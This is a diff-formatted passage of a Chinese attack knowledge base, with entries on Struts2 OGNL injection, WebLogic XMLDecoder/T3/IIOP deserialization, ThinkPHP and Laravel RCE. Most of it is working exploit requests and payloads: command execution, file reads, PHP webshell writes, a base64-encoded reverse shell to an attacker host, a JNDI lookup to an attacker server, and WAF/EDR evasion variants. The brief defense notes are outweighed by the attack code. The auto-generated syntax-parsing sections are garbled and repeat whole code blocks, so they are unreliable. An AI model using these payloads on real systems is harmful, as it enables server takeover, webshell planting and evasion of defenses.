|
+
# 获取输出
|
|
751
|
+
#is=#process.getInputStream()
|
|
752
|
+
#ros=@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()
|
|
753
|
+
@org.apache.commons.io.IOUtils@copy(#is,#ros)
|
|
754
|
+
|
|
755
|
+
# 字符串输出
|
|
756
|
+
@org.apache.commons.io.IOUtils@toString(#process.getInputStream())
|
|
757
|
+
```
|
|
758
|
+
|
|
759
|
+
**4. 文件操作**
|
|
760
|
+
> 文件操作
|
|
761
|
+
```
|
|
762
|
+
# 读取文件
|
|
763
|
+
new java.util.Scanner(new java.io.File("/etc/passwd")).useDelimiter("\\A").next()
|
|
764
|
+
|
|
765
|
+
# 写入文件
|
|
766
|
+
new java.io.FileOutputStream("shell.jsp").write(new sun.misc.BASE64Decoder().decodeBuffer("BASE64_SHELL").getBytes())
|
|
767
|
+
|
|
768
|
+
# 列出目录
|
|
769
|
+
new java.io.File("/").list()
|
|
770
|
+
```
|
|
771
|
+
**语法解析:**
|
|
772
|
+
- `/etc/passwd` — 敏感文件路径 _path_
|
|
773
|
+
- `base64` — Base64编码 _encoding_
|
|
774
|
+
|
|
775
|
+
**WAF/EDR 绕过变体:**
|
|
776
|
+
|
|
777
|
+
**字符编码绕过**
|
|
778
|
+
> 字符编码绕过
|
|
779
|
+
```
|
|
780
|
+
# Unicode编码
|
|
781
|
+
\u0069d = id
|
|
782
|
+
\u0027 = '
|
|
783
|
+
|
|
784
|
+
# 十六进制
|
|
785
|
+
\x69\x64 = id
|
|
786
|
+
|
|
787
|
+
# 字符串拼接
|
|
788
|
+
"i"+"d" = "id"
|
|
789
|
+
'id'.substring(0,2)
|
|
790
|
+
```
|
|
791
|
+
**语法解析:**
|
|
792
|
+
- `\uXXXX` — Unicode编码 _encoding_
|
|
793
|
+
|
|
794
|
+
**反射绕过**
|
|
795
|
+
> 反射绕过
|
|
796
|
+
```
|
|
797
|
+
# 使用反射调用
|
|
798
|
+
#cls=@java.lang.Class@forName("java.lang.Runtime")
|
|
799
|
+
#method=#cls.getMethod("getRuntime")
|
|
800
|
+
#rt=#method.invoke(null)
|
|
801
|
+
#exec=#cls.getMethod("exec",@java.lang.String@class)
|
|
802
|
+
#exec.invoke(#rt,"id")
|
|
803
|
+
```
|
|
804
|
+
**语法解析:**
|
|
805
|
+
- `#` — 命令/载荷起始 _command_
|
|
806
|
+
- ` 使用反射调用
|
|
807
|
+
#cls=@java.lang.Class@forName("java.lang.Runtime")
|
|
808
|
+
#method=#cls.getMethod("getRuntime")
|
|
809
|
+
#rt=#method.invoke(null)
|
|
810
|
+
#exec=#cls.getMethod("exec",@java.lang.String@class)
|
|
811
|
+
#exec.invoke(#rt,"id")` — 参数与载荷内容 _value_
|
|
812
|
+
|
|
813
|
+
|
|
814
|
+
**概述:** OGNL是Struts2的核心表达式语言,提供了访问Java对象图的强大能力。OGNL注入可创建ProcessBuilder/Runtime对象执行系统命令,是Struts2历史上绝大多数RCE漏洞的根本原因。
|
|
815
|
+
|
|
816
|
+
**漏洞原理:** OGNL注入利用方式:1)通过#_memberAccess修改安全管理器配置 2)使用@java.lang.Runtime@getRuntime().exec()执行命令 3)ProcessBuilder创建进程 4)通过ClassLoader加载远程恶意类 5)各版本Struts2的OGNL沙箱绕过技术不断演进。
|
|
817
|
+
|
|
818
|
+
**利用方法:** 完整利用流程:
|
|
819
|
+
1. 理解OGNL语法
|
|
820
|
+
2. 绕过安全限制
|
|
821
|
+
3. 执行系统命令
|
|
822
|
+
4. 获取命令输出
|
|
823
|
+
|
|
824
|
+
**防御措施:** 防御措施:
|
|
825
|
+
1. 升级Struts2版本
|
|
826
|
+
2. 严格过滤用户输入
|
|
827
|
+
3. 禁用OGNL表达式
|
|
828
|
+
4. 配置安全限制
|
|
829
|
+
|
|
830
|
+
---
|
|
831
|
+
|
|
832
|
+
### WebLogic远程代码执行 `weblogic-rce`
|
|
833
|
+
_Oracle WebLogic Server RCE漏洞_
|
|
834
|
+
子类:**WebLogic** · tags: `weblogic` `rce` `java` `oracle`
|
|
835
|
+
|
|
836
|
+
**前置条件:**
|
|
837
|
+
- 使用WebLogic Server
|
|
838
|
+
- 存在漏洞版本
|
|
839
|
+
|
|
840
|
+
**攻击链:**
|
|
841
|
+
|
|
842
|
+
**1. CVE-2017-10271**
|
|
843
|
+
> CVE-2017-10271 XMLDecoder
|
|
844
|
+
```
|
|
845
|
+
# XMLDecoder反序列化
|
|
846
|
+
POST /wls-wsat/CoordinatorPortType HTTP/1.1
|
|
847
|
+
Content-Type: text/xml
|
|
848
|
+
|
|
849
|
+
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
|
|
850
|
+
<soapenv:Header>
|
|
851
|
+
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
|
|
852
|
+
<java>
|
|
853
|
+
<object class="java.lang.ProcessBuilder">
|
|
854
|
+
<array class="java.lang.String" length="3">
|
|
855
|
+
<void index="0"><string>/bin/bash</string></void>
|
|
856
|
+
<void index="1"><string>-c</string></void>
|
|
857
|
+
<void index="2"><string>id</string></void>
|
|
858
|
+
</array>
|
|
859
|
+
<void method="start"/>
|
|
860
|
+
</object>
|
|
861
|
+
</java>
|
|
862
|
+
</work:WorkContext>
|
|
863
|
+
</soapenv:Header>
|
|
864
|
+
<soapenv:Body/>
|
|
865
|
+
</soapenv:Envelope>
|
|
866
|
+
```
|
|
867
|
+
**语法解析:**
|
|
868
|
+
- `wls-wsat` — WebLogic Web服务端点 _value_
|
|
869
|
+
- `ProcessBuilder` — Java进程构建器 _value_
|
|
870
|
+
- `void method="start"` — 调用start方法执行命令 _value_
|
|
871
|
+
|
|
872
|
+
**2. CVE-2019-2725**
|
|
873
|
+
> CVE-2019-2725 AsyncResponseService
|
|
874
|
+
```
|
|
875
|
+
# 新版XMLDecoder绕过
|
|
876
|
+
POST /_async/AsyncResponseService HTTP/1.1
|
|
877
|
+
Content-Type: text/xml
|
|
878
|
+
|
|
879
|
+
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing">
|
|
880
|
+
<soapenv:Header>
|
|
881
|
+
<wsa:Action>xx</wsa:Action>
|
|
882
|
+
<wsa:RelatesTo>xx</wsa:RelatesTo>
|
|
883
|
+
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
|
|
884
|
+
<java class="java.beans.XMLDecoder">
|
|
885
|
+
<void class="java.lang.ProcessBuilder">
|
|
886
|
+
<array class="java.lang.String" length="3">
|
|
887
|
+
<void index="0"><string>/bin/bash</string></void>
|
|
888
|
+
<void index="1"><string>-c</string></void>
|
|
889
|
+
<void index="2"><string>id</string></void>
|
|
890
|
+
</array>
|
|
891
|
+
<void method="start"/>
|
|
892
|
+
</void>
|
|
893
|
+
</java>
|
|
894
|
+
</work:WorkContext>
|
|
895
|
+
</soapenv:Header>
|
|
896
|
+
<soapenv:Body/>
|
|
897
|
+
</soapenv:Envelope>
|
|
898
|
+
```
|
|
899
|
+
**语法解析:**
|
|
900
|
+
- `POST` — HTTP方法 _method_
|
|
901
|
+
- `Content-Type` — 内容类型 _header_
|
|
902
|
+
|
|
903
|
+
**3. CVE-2020-14882**
|
|
904
|
+
> CVE-2020-14882 Console RCE
|
|
905
|
+
```
|
|
906
|
+
# 未授权访问+命令执行
|
|
907
|
+
# 登录绕过
|
|
908
|
+
GET /console/css/%252e%252e%252fconsole.portal HTTP/1.1
|
|
909
|
+
|
|
910
|
+
# 命令执行
|
|
911
|
+
GET /console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27id%27);%22) HTTP/1.1
|
|
912
|
+
```
|
|
913
|
+
**语法解析:**
|
|
914
|
+
- `%252e%252e` — 双重URL编码的.. _encoding_
|
|
915
|
+
- `ShellSession` — Coherence MVEL Shell _value_
|
|
916
|
+
|
|
917
|
+
**WAF/EDR 绕过变体:**
|
|
918
|
+
|
|
919
|
+
**路径编码绕过**
|
|
920
|
+
> 路径编码绕过
|
|
921
|
+
```
|
|
922
|
+
# 不同编码方式
|
|
923
|
+
/console/css/..;/console.portal
|
|
924
|
+
/console/css/%2e%2e/console.portal
|
|
925
|
+
/console/css/%252e%252e/console.portal
|
|
926
|
+
/console/css/..%252fconsole.portal
|
|
927
|
+
```
|
|
928
|
+
**语法解析:**
|
|
929
|
+
- `#` — 命令/载荷起始 _command_
|
|
930
|
+
- ` 不同编码方式
|
|
931
|
+
/console/css/..;/console.portal
|
|
932
|
+
/console/css/%2e%2e/console.portal
|
|
933
|
+
/console/css/%252e%252e/console.portal
|
|
934
|
+
/console/css/..%252fconsole.portal` — 参数与载荷内容 _value_
|
|
935
|
+
|
|
936
|
+
**XML变体**
|
|
937
|
+
> XML变体绕过
|
|
938
|
+
```
|
|
939
|
+
# 使用不同XML标签
|
|
940
|
+
<void class="java.lang.Runtime" method="getRuntime">
|
|
941
|
+
<void method="exec">
|
|
942
|
+
<string>id</string>
|
|
943
|
+
</void>
|
|
944
|
+
</void>
|
|
945
|
+
|
|
946
|
+
# 使用数组形式
|
|
947
|
+
<array class="java.lang.String" length="1">
|
|
948
|
+
<void index="0"><string>id</string></void>
|
|
949
|
+
</array>
|
|
950
|
+
```
|
|
951
|
+
**语法解析:**
|
|
952
|
+
- `# 使用不同XML标签
|
|
953
|
+
<void class="java.lang.Runtime" method="getRuntime">
|
|
954
|
+
<void method=` — 攻击载荷 _value_
|
|
955
|
+
|
|
956
|
+
|
|
957
|
+
**概述:** Oracle WebLogic Server是企业级Java应用服务器,其T3/IIOP反序列化、SSRF、远程代码执行等漏洞层出不穷。WebLogic漏洞通常可直接获取服务器权限,是攻击者在Java环境中的首要目标。
|
|
958
|
+
|
|
959
|
+
**漏洞原理:** WebLogic高危漏洞:1)T3协议反序列化(CVE-2015-4852/CVE-2018-2628等) 2)XMLDecoder反序列化(CVE-2017-10271) 3)SSRF(CVE-2014-4210访问内网Redis) 4)Console未授权访问 5)IIOP反序列化等。每个季度Oracle CPU都会修复新的WebLogic漏洞。
|
|
960
|
+
|
|
961
|
+
**利用方法:** 完整利用流程:
|
|
962
|
+
1. 识别WebLogic版本
|
|
963
|
+
2. 检测开放端口和端点
|
|
964
|
+
3. 选择合适的CVE利用
|
|
965
|
+
4. 执行命令或写入WebShell
|
|
966
|
+
|
|
967
|
+
**防御措施:** 防御WebLogic漏洞:及时应用Oracle关键补丁更新(CPU),关闭不必要的T3/IIOP协议端口,限制管理控制台的访问IP,部署Web应用防火墙,使用网络分段隔离WebLogic服务器,监控反序列化相关的异常类加载。
|
|
968
|
+
|
|
969
|
+
---
|
|
970
|
+
|
|
971
|
+
### WebLogic T3协议攻击 `weblogic-t3`
|
|
972
|
+
_WebLogic T3协议反序列化漏洞_
|
|
973
|
+
子类:**WebLogic T3** · tags: `weblogic` `t3` `deserialization` `java`
|
|
974
|
+
|
|
975
|
+
**前置条件:**
|
|
976
|
+
- WebLogic开放T3端口
|
|
977
|
+
- 存在漏洞版本
|
|
978
|
+
|
|
979
|
+
**攻击链:**
|
|
980
|
+
|
|
981
|
+
**1. 探测T3服务**
|
|
982
|
+
> 探测T3服务
|
|
983
|
+
```
|
|
984
|
+
# 扫描T3端口(默认7001)
|
|
985
|
+
nmap -sV -p 7001 target
|
|
986
|
+
|
|
987
|
+
# T3握手
|
|
988
|
+
echo "t3 12.2.1" | nc target 7001
|
|
989
|
+
|
|
990
|
+
# 如果返回HELO则存在T3服务
|
|
991
|
+
```
|
|
992
|
+
**语法解析:**
|
|
993
|
+
- `t3 12.2.1` — T3协议版本握手 _value_
|
|
994
|
+
|
|
995
|
+
**2. 使用工具攻击**
|
|
996
|
+
> 使用工具攻击
|
|
997
|
+
```
|
|
998
|
+
# 使用weblogic_exploit
|
|
999
|
+
git clone https://github.com/0xn0ne/weblogicScanner
|
|
1000
|
+
cd weblogicScanner
|
|
1001
|
+
python3 weblogic.py -t target -p 7001
|
|
1002
|
+
|
|
1003
|
+
# 使用WebLogicTool
|
|
1004
|
+
java -jar WebLogicTool.jar -target target:7001 -cmd "id"
|
|
1005
|
+
|
|
1006
|
+
# 使用ysoserial
|
|
1007
|
+
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 8888 CommonsCollections1 "touch /tmp/pwned"
|
|
1008
|
+
```
|
|
1009
|
+
|
|
1010
|
+
**3. 构造恶意T3请求**
|
|
1011
|
+
> 构造恶意T3请求
|
|
1012
|
+
```
|
|
1013
|
+
# Python脚本构造T3请求
|
|
1014
|
+
import socket
|
|
1015
|
+
import struct
|
|
1016
|
+
|
|
1017
|
+
def send_t3_payload(target, port, payload):
|
|
1018
|
+
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
1019
|
+
sock.connect((target, port))
|
|
1020
|
+
|
|
1021
|
+
# T3握手
|
|
1022
|
+
sock.send(b"t3 12.2.1\n")
|
|
1023
|
+
response = sock.recv(1024)
|
|
1024
|
+
|
|
1025
|
+
# 发送恶意序列化对象
|
|
1026
|
+
# 构造包含恶意对象的T3请求
|
|
1027
|
+
sock.send(payload)
|
|
1028
|
+
sock.close()
|
|
1029
|
+
|
|
1030
|
+
# 使用ysoserial生成payload
|
|
1031
|
+
# java -jar ysoserial.jar CommonsCollections1 "id" > payload.bin
|
|
1032
|
+
```
|
|
1033
|
+
|
|
1034
|
+
**WAF/EDR 绕过变体:**
|
|
1035
|
+
|
|
1036
|
+
**Gadget链选择**
|
|
1037
|
+
> Gadget链选择
|
|
1038
|
+
```
|
|
1039
|
+
# 不同Gadget链
|
|
1040
|
+
CommonsCollections1
|
|
1041
|
+
CommonsCollections2
|
|
1042
|
+
CommonsCollections3
|
|
1043
|
+
CommonsCollections4
|
|
1044
|
+
CommonsBeanutils1
|
|
1045
|
+
Jdk7u21
|
|
1046
|
+
Jre8u20
|
|
1047
|
+
|
|
1048
|
+
# 根据目标环境选择合适的链
|
|
1049
|
+
```
|
|
1050
|
+
**语法解析:**
|
|
1051
|
+
- `#` — 命令/载荷起始 _command_
|
|
1052
|
+
- ` 不同Gadget链
|
|
1053
|
+
CommonsCollections1
|
|
1054
|
+
CommonsCollections2
|
|
1055
|
+
CommonsCollections3
|
|
1056
|
+
CommonsCollections4
|
|
1057
|
+
CommonsBeanutils1
|
|
1058
|
+
Jdk7u21
|
|
1059
|
+
Jre8u20
|
|
1060
|
+
|
|
1061
|
+
# 根据目标环境选择合适的链` — 参数与载荷内容 _value_
|
|
1062
|
+
|
|
1063
|
+
|
|
1064
|
+
**概述:** WebLogic T3协议是其专有的RMI通信协议,用于集群节点间通信和JNDI查找。T3协议的反序列化漏洞允许远程攻击者发送恶意序列化对象,在WebLogic服务器上执行任意代码。
|
|
1065
|
+
|
|
1066
|
+
**漏洞原理:** T3协议反序列化利用链:通过T3握手建立连接后发送包含恶意Gadget Chain的序列化数据(如Commons Collections链)。利用工具ysoserial生成payload,T3Exploit/WebLogic-T3-RCE等工具自动化利用。WebLogic的黑名单过滤可通过新Gadget绕过。
|
|
1067
|
+
|
|
1068
|
+
**利用方法:** 完整利用流程:
|
|
1069
|
+
1. 探测T3端口
|
|
1070
|
+
2. 确认WebLogic版本
|
|
1071
|
+
3. 选择合适的Gadget链
|
|
1072
|
+
4. 发送恶意序列化对象
|
|
1073
|
+
5. 执行命令
|
|
1074
|
+
|
|
1075
|
+
**防御措施:** 防御措施:
|
|
1076
|
+
1. 禁用T3协议或限制访问
|
|
1077
|
+
2. 应用最新补丁
|
|
1078
|
+
3. 使用网络防火墙
|
|
1079
|
+
4. 监控异常序列化请求
|
|
1080
|
+
|
|
1081
|
+
---
|
|
1082
|
+
|
|
1083
|
+
### WebLogic IIOP协议攻击 `weblogic-iiop`
|
|
1084
|
+
_WebLogic IIOP协议反序列化漏洞_
|
|
1085
|
+
子类:**WebLogic IIOP** · tags: `weblogic` `iiop` `deserialization` `corba`
|
|
1086
|
+
|
|
1087
|
+
**前置条件:**
|
|
1088
|
+
- WebLogic开放IIOP端口
|
|
1089
|
+
- 存在漏洞版本
|
|
1090
|
+
|
|
1091
|
+
**攻击链:**
|
|
1092
|
+
|
|
1093
|
+
**1. 探测IIOP服务**
|
|
1094
|
+
> 探测IIOP服务
|
|
1095
|
+
```
|
|
1096
|
+
# 扫描IIOP端口 nmap -sV -p 7001 target
|
|
1097
|
+
|
|
1098
|
+
# IIOP使用相同端口
|
|
1099
|
+
# 检测是否支持IIOP
|
|
1100
|
+
# 使用工具检测
|
|
1101
|
+
```
|
|
1102
|
+
**语法解析:**
|
|
1103
|
+
- `nmap -sV` — 使用Nmap版本探测扫描目标端口服务 _command_
|
|
1104
|
+
- `-p 7001` — WebLogic默认端口,IIOP和T3共用此端口 _parameter_
|
|
1105
|
+
- `target` — 目标WebLogic服务器地址 _variable_
|
|
1106
|
+
|
|
1107
|
+
**2. CVE-2020-2551**
|
|
1108
|
+
> CVE-2020-2551利用
|
|
1109
|
+
```
|
|
1110
|
+
# 使用weblogic_CVE_2020_2551
|
|
1111
|
+
git clone https://github.com/Y4er/CVE-2020-2551
|
|
1112
|
+
cd CVE-2020-2551
|
|
1113
|
+
|
|
1114
|
+
# 编译并运行
|
|
1115
|
+
mvn package
|
|
1116
|
+
java -jar target/CVE-2020-2551-1.0-SNAPSHOT.jar target 7001
|
|
1117
|
+
|
|
1118
|
+
# 使用JRMP监听
|
|
1119
|
+
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 8888 CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci9QMDBBIA==}|{base64,-d}|{bash,-i}"
|
|
1120
|
+
```
|
|
1121
|
+
**语法解析:**
|
|
1122
|
+
- `CVE-2020-2551` — WebLogic IIOP协议反序列化RCE漏洞 _command_
|
|
1123
|
+
- `java -jar target/CVE-2020-2551.jar` — 运行编译好的漏洞利用工具 _command_
|
|
1124
|
+
- `target 7001` — 目标地址和WebLogic端口 _value_
|
|
1125
|
+
- `JRMPListener 8888` — 在攻击机启动JRMP监听接收反连 _parameter_
|
|
1126
|
+
- `CommonsCollections1` — 指定返回给目标的Gadget链类型 _parameter_
|
|
1127
|
+
|
|
1128
|
+
**3. 构造IIOP请求**
|
|
1129
|
+
> 构造IIOP请求
|
|
1130
|
+
```
|
|
1131
|
+
# 使用Python构造
|
|
1132
|
+
# 需要安装相关库
|
|
1133
|
+
pip install idna
|
|
1134
|
+
|
|
1135
|
+
# 使用JNDI注入
|
|
1136
|
+
# 构造恶意JNDI引用
|
|
1137
|
+
String jndiURL = "iiop://attacker:1099/Exploit";
|
|
1138
|
+
Context ctx = new InitialContext();
|
|
1139
|
+
ctx.lookup(jndiURL);
|
|
1140
|
+
|
|
1141
|
+
# 使用JNDIExploit工具
|
|
1142
|
+
java -jar JNDIExploit.jar -i attacker_ip
|
|
1143
|
+
```
|
|
1144
|
+
**语法解析:**
|
|
1145
|
+
- `iiop://attacker:1099/Exploit` — IIOP协议的JNDI查找URL _value_
|
|
1146
|
+
- `ctx.lookup(jndiURL)` — JNDI查找触发远程类加载执行恶意代码 _command_
|
|
1147
|
+
- `JNDIExploit.jar -i attacker_ip` — JNDI利用工具,-i指定攻击机IP _command_
|
|
1148
|
+
|
|
1149
|
+
**WAF/EDR 绕过变体:**
|
|
1150
|
+
|
|
1151
|
+
**协议切换**
|
|
1152
|
+
> 协议切换绕过
|
|
1153
|
+
```
|
|
1154
|
+
# 在T3和IIOP之间切换
|
|
1155
|
+
# 如果T3被禁用,尝试IIOP
|
|
1156
|
+
# 使用不同协议绕过检测
|
|
1157
|
+
```
|
|
1158
|
+
**语法解析:**
|
|
1159
|
+
- `T3` — WebLogic专有协议,常被WAF重点监控 _parameter_
|
|
1160
|
+
- `IIOP` — CORBA标准协议,功能类似T3但WAF检测较少 _parameter_
|
|
1161
|
+
- `协议切换` — 当T3被禁用/检测时切换到IIOP绕过防护 _command_
|
|
1162
|
+
|
|
1163
|
+
|
|
1164
|
+
**概述:** WebLogic IIOP(Internet Inter-ORB Protocol)是CORBA标准的通信协议,也存在反序列化漏洞。当T3协议被防火墙阻断时,IIOP端口(默认7001)可作为替代的攻击入口实现RCE。
|
|
1165
|
+
|
|
1166
|
+
**漏洞原理:** IIOP反序列化与T3原理类似,但使用CORBA协议封装。攻击者通过IIOP协议发送恶意序列化对象绕过T3的黑名单过滤(因为两者的反序列化路径不同)。CVE-2020-2551等漏洞通过IIOP协议实现远程代码执行。
|
|
1167
|
+
|
|
1168
|
+
**利用方法:** 完整利用流程:
|
|
1169
|
+
1. 探测IIOP端口
|
|
1170
|
+
2. 使用CVE-2020-2551利用工具
|
|
1171
|
+
3. 发送恶意序列化对象
|
|
1172
|
+
4. 执行命令
|
|
1173
|
+
|
|
1174
|
+
**防御措施:** 防御WebLogic IIOP漏洞:如不使用IIOP功能则关闭该协议监听,限制IIOP端口的网络访问(仅允许可信的集群节点),及时应用Oracle安全补丁,部署反序列化防护中间件(如RASP)检测恶意类加载。
|
|
1175
|
+
|
|
1176
|
+
---
|
|
1177
|
+
|
|
1178
|
+
### ThinkPHP远程代码执行 `thinkphp-rce`
|
|
1179
|
+
_ThinkPHP框架RCE漏洞_
|
|
1180
|
+
子类:**ThinkPHP** · tags: `thinkphp` `rce` `php` `framework`
|
|
1181
|
+
|
|
1182
|
+
**前置条件:**
|
|
1183
|
+
- 使用ThinkPHP框架
|
|
1184
|
+
- 存在漏洞版本
|
|
1185
|
+
|
|
1186
|
+
**攻击链:**
|
|
1187
|
+
|
|
1188
|
+
**1. ThinkPHP 5.x RCE**
|
|
1189
|
+
> ThinkPHP 5.0.x RCE
|
|
1190
|
+
```
|
|
1191
|
+
# ThinkPHP 5.0.x RCE
|
|
1192
|
+
# 方法调用
|
|
1193
|
+
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
|
|
1194
|
+
|
|
1195
|
+
# 写入WebShell
|
|
1196
|
+
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php eval($_POST[cmd]);?>
|
|
1197
|
+
|
|
1198
|
+
# 执行系统命令
|
|
1199
|
+
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
|
|
1200
|
+
```
|
|
1201
|
+
**语法解析:**
|
|
1202
|
+
- `invokefunction` — 调用函数方法 _value_
|
|
1203
|
+
- `call_user_func_array` — PHP回调函数 _value_
|
|
1204
|
+
- `vars[0]` — 函数名参数 _value_
|
|
1205
|
+
|
|
1206
|
+
**2. ThinkPHP 5.1.x RCE**
|
|
1207
|
+
> ThinkPHP 5.1.x RCE
|
|
1208
|
+
```
|
|
1209
|
+
# ThinkPHP 5.1.x RCE
|
|
1210
|
+
?s=index/think\Request/input&filter[]=system&data=id
|
|
1211
|
+
?s=index/think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
|
|
1212
|
+
?s=index/think\Template/driver/file/write&cacheFile=shell.php&content=%3C%3Fphp%20eval($_POST[cmd]);%3F%3E
|
|
1213
|
+
```
|
|
1214
|
+
**语法解析:**
|
|
1215
|
+
- `eval()` — 代码执行 _function_
|
|
1216
|
+
- `%xx` — URL编码 _encoding_
|
|
1217
|
+
|
|
1218
|
+
**3. ThinkPHP 5.0.23 RCE**
|
|
1219
|
+
> ThinkPHP 5.0.23 RCE
|
|
1220
|
+
```
|
|
1221
|
+
# POST方法
|
|
1222
|
+
POST /index.php?s=captcha HTTP/1.1
|
|
1223
|
+
Content-Type: application/x-www-form-urlencoded
|
|
1224
|
+
|
|
1225
|
+
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
|
|
1226
|
+
|
|
1227
|
+
# 写入Shell
|
|
1228
|
+
_method=__construct&filter[]=file_put_contents&method=get&server[REQUEST_METHOD]=shell.php&get[]=<?php eval($_POST[cmd]);?>
|
|
1229
|
+
```
|
|
1230
|
+
**语法解析:**
|
|
1231
|
+
- `eval()` — 代码执行 _function_
|
|
1232
|
+
- `Content-Type` — 内容类型头 _header_
|
|
1233
|
+
|
|
1234
|
+
**4. 信息收集**
|
|
1235
|
+
> 信息收集
|
|
1236
|
+
```
|
|
1237
|
+
# 获取ThinkPHP版本
|
|
1238
|
+
# 查看响应头
|
|
1239
|
+
X-Powered-By: ThinkPHP 5.0.x
|
|
1240
|
+
|
|
1241
|
+
# 访问特定页面
|
|
1242
|
+
/index.php?s=/index/\think\app/init
|
|
1243
|
+
/index.php?s=/index/\think\Request/input
|
|
1244
|
+
|
|
1245
|
+
# 错误信息泄露
|
|
1246
|
+
# 触发错误查看版本
|
|
1247
|
+
```
|
|
1248
|
+
|
|
1249
|
+
**WAF/EDR 绕过变体:**
|
|
1250
|
+
|
|
1251
|
+
**编码绕过**
|
|
1252
|
+
> 编码绕过
|
|
1253
|
+
```
|
|
1254
|
+
# URL编码
|
|
1255
|
+
?s=%2fIndex%2f%5cthink%5capp%2finvokefunction
|
|
1256
|
+
|
|
1257
|
+
# 大小写混合
|
|
1258
|
+
?s=/Index/\Think\App/invokefunction
|
|
1259
|
+
|
|
1260
|
+
# 双重编码
|
|
1261
|
+
?s=%252fIndex%252f%255cthink%255capp%252finvokefunction
|
|
1262
|
+
```
|
|
1263
|
+
**语法解析:**
|
|
1264
|
+
- `#` — 命令/载荷起始 _command_
|
|
1265
|
+
- ` URL编码
|
|
1266
|
+
?s=%2fIndex%2f%5cthink%5capp%2finvokefunction
|
|
1267
|
+
|
|
1268
|
+
# 大小写混合
|
|
1269
|
+
?s=/Index/\Think\App/invokefunction
|
|
1270
|
+
|
|
1271
|
+
# 双重编码
|
|
1272
|
+
?s=%252fIndex%252f%255cthink%255capp%252finvokefunction` — 参数与载荷内容 _value_
|
|
1273
|
+
|
|
1274
|
+
**路径变体**
|
|
1275
|
+
> 路径变体绕过
|
|
1276
|
+
```
|
|
1277
|
+
# 不同路径格式
|
|
1278
|
+
?s=/index/think\app/invokefunction
|
|
1279
|
+
?s=index/think/app/invokefunction
|
|
1280
|
+
?s=/index/\think\App/invokefunction
|
|
1281
|
+
|
|
1282
|
+
# 使用不同入口点
|
|
1283
|
+
/index.php?s=...
|
|
1284
|
+
/?s=...
|
|
1285
|
+
/public/index.php?s=...
|
|
1286
|
+
```
|
|
1287
|
+
**语法解析:**
|
|
1288
|
+
- `#` — 命令/载荷起始 _command_
|
|
1289
|
+
- ` 不同路径格式
|
|
1290
|
+
?s=/index/think\app/invokefunction
|
|
1291
|
+
?s=index/think/app/invokefunction
|
|
1292
|
+
?s=/index/\think\App/invokefunction
|
|
1293
|
+
|
|
1294
|
+
# 使用不同入口点
|
|
1295
|
+
/index.php?s=...
|
|
1296
|
+
/?s=...
|
|
1297
|
+
/public/index.php?s=...` — 参数与载荷内容 _value_
|
|
1298
|
+
|
|
1299
|
+
|
|
1300
|
+
**概述:** ThinkPHP是中国最流行的PHP开发框架,其历史版本(3.x/5.x/6.x)存在多个远程代码执行漏洞。由于使用范围极广(中国政企/教育/电商),ThinkPHP漏洞是批量渗透的高价值目标。
|
|
1301
|
+
|
|
1302
|
+
**漏洞原理:** ThinkPHP高危漏洞:1)5.0.x路由参数RCE(通过controller/action注入调用任意方法) 2)5.1.x Request类方法覆盖RCE 3)5.x多语言模块文件包含 4)3.x缓存文件写入GetShell 5)6.x反序列化POP链。利用URL如/index.php?s=/index/think\\app/invokefunction。
|
|
1303
|
+
|
|
1304
|
+
**利用方法:** 完整利用流程:
|
|
1305
|
+
1. 识别ThinkPHP版本
|
|
1306
|
+
2. 选择对应的利用方式
|
|
1307
|
+
3. 执行命令或写入Shell
|
|
1308
|
+
4. 获取服务器权限
|
|
1309
|
+
|
|
1310
|
+
**防御措施:** 防御ThinkPHP漏洞:升级到最新安全版本,关闭DEBUG模式和错误显示,配置路由严格模式禁止控制器名中的特殊字符,删除不必要的入口文件和模块,部署WAF规则检测ThinkPHP特征payload。
|
|
1311
|
+
|
|
1312
|
+
---
|
|
1313
|
+
|
|
1314
|
+
### Laravel远程代码执行 `laravel-rce`
|
|
1315
|
+
_Laravel框架RCE漏洞_
|
|
1316
|
+
子类:**Laravel** · tags: `laravel` `rce` `php` `framework`
|
|
1317
|
+
|
|
1318
|
+
**前置条件:**
|
|
1319
|
+
- 使用Laravel框架
|
|
1320
|
+
- 存在漏洞版本或配置
|
|
1321
|
+
|
|
1322
|
+
**攻击链:**
|
|
1323
|
+
|
|
1324
|
+
**1. CVE-2021-3129**
|
|
1325
|
+
> CVE-2021-3129 Ignition RCE
|
|
1326
|
+
```
|
|
1327
|
+
# Laravel Ignition RCE
|
|
1328
|
+
# 使用工具
|
|
1329
|
+
git clone https://github.com/zhzyker/CVE-2021-3129
|
|
1330
|
+
cd CVE-2021-3129
|
|
1331
|
+
python3 exp.py -t http://target
|
|
1332
|
+
|
|
1333
|
+
# 手动利用
|
|
1334
|
+
# 需要发送Phar反序列化payload
|
|
1335
|
+
# 使用phpggc生成
|
|
1336
|
+
phpggc Laravel/RCE1 system id > payload
|
|
1337
|
+
|
|
1338
|
+
# 发送请求
|
|
1339
|
+
POST /_ignition/health-check HTTP/1.1
|
|
1340
|
+
Content-Type: application/json
|
|
1341
|
+
|
|
1342
|
+
{"solution":"...","parameters":{"viewFile":"phar://..."}}
|
|
1343
|
+
```
|
|
1344
|
+
**语法解析:**
|
|
1345
|
+
- `_ignition` — Ignition调试工具端点 _value_
|
|
1346
|
+
- `phar://` — Phar协议触发反序列化 _value_
|
|
1347
|
+
|
|
1348
|
+
**2. 调试模式信息泄露**
|
|
1349
|
+
